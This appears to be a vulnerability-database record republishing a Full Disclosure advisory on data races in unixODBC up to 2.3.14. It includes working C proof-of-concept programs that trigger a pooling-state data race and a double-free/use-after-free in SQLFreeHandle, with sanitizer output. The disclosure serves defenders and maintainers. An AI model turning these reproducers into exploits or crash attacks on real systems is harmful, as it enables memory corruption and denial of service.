GCVE-1988-2026-0549
Vulnerability from gna-1988 – Published: 2026-11-05 04:38 – Updated: 2026-11-05 04:38| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Nov/9 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "\u003c=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The unixODBC driver manager library contains multiple races of importance / interest, including a set of data races in \nthe connection-pooling configuration state data that can cause one thread to read a half-written pool-size or timeout \nvalue, which can lead to a variety of harmful effects, as well as a race between teardown and error-handling \nfunctionality that can result in double-frees and use-after-frees. Other races exist within the code, as well, but, \nfor brevity, are left as exercises for the reader.\n\nExamples\nSample Data Races\nWhile 7 distinct data races were discovered, the following serves as a blueprint to find both the examples below and \nother instances.\n\nConnection-Pooling Configuration State Data Races\nThe DriverManager\u0027s connection-pooling configuration state -- the globals `pooling_enabled`, `pool_max_size`, and \n`pool_wait_timeout` declared in `SQLConnect.c` -- is read and written from `SQLAllocHandle`, `SQLSetEnvAttr`, \n`SQLConnect`, `SQLDriverConnect`, `SQLDisconnect`, and `SQLFreeHandle` without any of the write paths acquiring a lock, \ndespite such a lock -- a mutex in `__handles.c` -- already existing expressly for this purpose. Since the variables in \nquestion are neither atomic nor `volatile`, directly accessing them in such a fashion via reads and writes creates a \ndata race, with the compiler and central processing unit (CPU) being free to tear, cache, and reorder the accesses (and \nthe compiler will, more generally, assume single-threaded execution for non-atomic globals, which may cause aggressive \noptimisations, like moving reads out of loops, that further break runtime assumptions). While there are multiple sites \nwith this specific problem, we will only show code for one for the sake of brevity. The sample code to reproduce the \nissue will, across multiple runs, demonstrate races in `SQLSetEnvAttr`, `SQLAllocHandle`, etc., so running it multiple \ntimes will provide a better example thereof, as one would expect with such an issue.\n\n```c\nint pooling_enabled = 0;\nint pool_max_size = 0;\nint pool_wait_timeout;\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLConnect.c, lines 738-740\n\n```c\n/** Lines 255-261 **/\n/*\n* connection pooling stuff\n*/\n\nextern int pooling_enabled;\nextern int pool_max_size;\nextern int pool_wait_timeout;\n/** ... **/\n/** Lines 302-323 **/\n if ( pooling_string[ 0 ] == \u00271\u0027 ||\n toupper( pooling_string[ 0 ] ) == \u0027Y\u0027 ||\n ( toupper( pooling_string[ 0 ] ) == \u0027O\u0027 \u0026\u0026\n toupper( pooling_string[ 1 ] ) == \u0027N\u0027 ))\n {\n pooling_enabled = 1;\n }\n\n#ifdef WITH_SHARDENV\n if ( pooling_enabled )\n {\n int first;\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolMaxSize\", \"0\",\n pool_max_size_string, sizeof( pool_max_size_string ),\n \"ODBCINST.INI\" );\n pool_max_size = atoi( pool_max_size_string );\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolWaitTimeout\", \"30\",\n pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),\n \"ODBCINST.INI\" );\n pool_wait_timeout = atoi( pool_wait_timeout_string );\n/** .. **/\n/** Lines 383-397 **/\n#else\n\n if ( pooling_enabled )\n {\n int first;\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolMaxSize\", \"0\",\n pool_max_size_string, sizeof( pool_max_size_string ),\n \"ODBCINST.INI\" );\n pool_max_size = atoi( pool_max_size_string );\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolWaitTimeout\", \"30\",\n pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),\n \"ODBCINST.INI\" );\n pool_wait_timeout = atoi( pool_wait_timeout_string );\n```\nSnippets from `unixODBC`\u0027s DriverManager/SQLAllocHandle.c\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n\n#define ITER 2000\n\nstatic void *setter_thread(void *arg) {\n (void)arg;\n for (int i = 0; i \u003c ITER; i++) {\n SQLSetEnvAttr(SQL_NULL_HENV, SQL_ATTR_CONNECTION_POOLING,\n (SQLPOINTER)SQL_CP_ONE_PER_DRIVER, 0);\n }\n return NULL;\n}\n\nstatic void *alloc_thread(void *arg) {\n (void)arg;\n for (int i = 0; i \u003c ITER; i++) {\n SQLHENV henv = SQL_NULL_HENV;\n SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n if (henv != SQL_NULL_HENV) {\n SQLFreeHandle(SQL_HANDLE_ENV, henv);\n }\n }\n return NULL;\n}\n\nint main(void) {\n pthread_t t1, t2;\n pthread_create(\u0026t1, NULL, setter_thread, NULL);\n pthread_create(\u0026t2, NULL, alloc_thread, NULL);\n pthread_join(t1, NULL);\n pthread_join(t2, NULL);\n printf(\"done\\n\");\n return 0;\n}\n```\nSample code to cause the data race\n\n```text\nWARNING: ThreadSanitizer: data race (pid=1369482)\n Read of size 4 at 0x7f6f9fff8c28 by thread T2:\n #0 __SQLAllocHandle .../DriverManager/SQLAllocHandle.c:387:18 ...\n #1 SQLAllocHandle .../DriverManager/SQLAllocHandle.c:1396:12 ...\n #2 alloc_thread .../poc_pool_race.c:41:24 ...\n Previous write of size 4 at 0x7f6f9fff8c28 by thread T1:\n #0 SQLSetEnvAttr .../DriverManager/SQLSetEnvAttr.c:156:33 ...\n #1 setter_thread .../poc_pool_race.c:31:9 ...\n Location is global \u0027pooling_enabled\u0027 of size 4 at 0x7f6f9fff8c28 (libodbc.so.2+0x8ec28)\n ...\nSUMMARY: ThreadSanitizer: data race .../SQLAllocHandle.c:387:18 in __SQLAllocHandle\nThreadSanitizer: reported 1 warnings\n```\nOutput from ThreadSanitizer\n\nSample Double-Free/Use-After-Free Race\nAlthough there are multiple instances of this issue within the code base, the following shall serve as a template to \nfind the others.\n\nRacing on a Shared Handle\nThe `__release_env`, `__release_dbc`, `__release_stmt`, and `__release_desc` cleanup functions in `__handles.c` perform \n`memset` and `free` operations to the caller-supplied handle pointer regardless of whether that pointer was actually \nfound and unlinked from the handle list, but handle validation acquires and releases the shared `mutex_lists` lock \nbefore the caller proceeds to release the handle such that two threads that call `SQLFreeHandle` on the same handle \nsimultaneously can both pass validation, so that both either free the same handle (a double-free) or one frees and the \nother then reads the freed handle (a use-after-free). Such bugs can, for example, result in a crash or exploitable \nmemory corruption. Please note that our example only shows some of the instances and that the exact same paradigm \nexists elsewhere in the code.\n\nIt should also be noted, for completeness, that the code in question and in our sample code snippets contain a variety \nof other bugs, including the handle being freed inside of the `mutex_lists` lock and then being unlinked from the list \nafter validation has already occurred in a separate lock cycle. Also, `SQLFreeHandle` performs validation, drops the \nlock, and then calls `__release_env` -- it is this process that is allowing the race.\n\nRegarding the proof-of-concept (POC), we understand that threads would rarely race to free the base environment handle \n(`SQLHENV`) and that they are more likely to race on connection (`SQLHDBC`) and statement (`SQLHSTMT`) handles, but we, \nagain, leave that as an exercise for the reader, especially since such adaptations are trivial and the vulnerable code \nsegments are copy/pastes of that which is shown below.\n\n```c\n thread_release( SQL_HANDLE_ENV, environment );\n\n#ifdef WITH_SHARDENV\n if ( pooling_enabled == 0 ) {\n /*\n * release any pooled connections that are using this environment\n */\n __strip_from_pool( environment );\n }\n#else\n __strip_from_pool( environment );\n#endif\n\n __release_env( environment );\n\n return SQL_SUCCESS;\n }\n break;\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLFreeHandle.c, lines 271-288\n\n```c\n/** Lines 663-686 inside of __validate_env() **/\n local_mutex_entry( \u0026mutex_lists );\n\n ptr = environment_root;\n\n while( ptr )\n {\n if ( ptr == env )\n {\n if ( env -\u003e released )\n {\n fprintf( stderr, \"unixODBC: API Error, env handle used after being free\\n\" );\n ret = 0;\n }\n else\n {\n ret = 1;\n }\n break;\n }\n\n ptr = ptr -\u003e next_class_list;\n }\n\n local_mutex_exit( \u0026mutex_lists );\n/** ... **/\n/** Lines 693-754 inside of __release_env**/\n/*\n* remove from list\n*/\n\nvoid __release_env( DMHENV environment )\n{\n DMHENV last = NULL;\n DMHENV ptr;\n\n if ( shared_environment \u0026\u0026 environment == shared_environment ) {\n return;\n }\n\n local_mutex_entry( \u0026mutex_lists );\n\n ptr = environment_root;\n\n while( ptr )\n {\n if ( environment == ptr )\n {\n break;\n }\n last = ptr;\n ptr = ptr -\u003e next_class_list;\n }\n\n if ( ptr )\n {\n if ( last )\n {\n last -\u003e next_class_list = ptr -\u003e next_class_list;\n }\n else\n {\n environment_root = ptr -\u003e next_class_list;\n }\n }\n\n clear_error_head( \u0026environment -\u003e error );\n\n /*\n * free log\n */\n\n dm_log_close();\n\n#if defined ( COLLECT_STATS ) \u0026\u0026 defined( HAVE_SYS_SEM_H )\n if (environment-\u003esh)\n uodbc_close_stats(environment-\u003esh);\n#endif\n\n /*\n * clear just to make sure\n */\n\n memset( environment, 0, sizeof( *environment ));\n\n free( environment );\n\n local_mutex_exit( \u0026mutex_lists );\n}\n```\nSnippets from `unixODBC`\u0027s DriverManager/__handles.c\n\n```c\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n\nstatic SQLHANDLE henv;\n\nstatic void *racer(void *arg) {\n SQLRETURN ret = SQLFreeHandle(SQL_HANDLE_ENV, henv);\n printf(\"thread %ld: SQLFreeHandle returned %d\\n\", (long) arg, (int) ret);\n return NULL;\n}\n\nint main(void) {\n for (int iter = 0; iter \u003c 1000; iter++) {\n SQLRETURN ret = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n if (ret != SQL_SUCCESS) {\n fprintf(stderr, \"SQLAllocHandle failed (iter %d)\\n\", iter);\n return 1;\n }\n\n pthread_t t1, t2;\n pthread_create(\u0026t1, NULL, racer, (void *) 1L);\n pthread_create(\u0026t2, NULL, racer, (void *) 2L);\n pthread_join(t1, NULL);\n pthread_join(t2, NULL);\n }\n return 0;\n}\n```\nSample code to cause the race\n\n```text\n==================================================================\n==1368918==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e00001b8b0 at pc 0x7f4de14b2e74 bp \n0x7f4ddd3fdcf0 sp 0x7f4ddd3fdce8\nREAD of size 8 at 0x61e00001b8b0 thread T74\n #0 0x7f4de14b2e73 in clear_error_head DriverManager/__info.c:4234:42\n #1 0x7f4de149fe0b in __release_env DriverManager/__handles.c:682:5\n #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13\n #3 0x4ded0e in racer repro.c:27:5\n\nfreed by thread T73 here:\n #0 0x4a31e6 in free\n #1 0x7f4de149fe30 in __release_env DriverManager/__handles.c:701:5\n #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13\n #3 0x4ded0e in racer repro.c:27:5\n\npreviously allocated by thread T0 here:\n #0 in __interceptor_calloc\n```\nOutput from AddressSanitizer\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T04:38:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/9"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/9"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/9"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC \u003c=2.3.14 Multiple Races",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0549",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/9",
"automated": true,
"contentSha256": "6a1c1cf7a2ad3d97d7f34204d40d10bfd034435afd8c57c465642bca5e1fda4e",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/9",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T13:14:51Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:38:41Z",
"dateUpdated": "2026-11-05T04:38:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0549"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.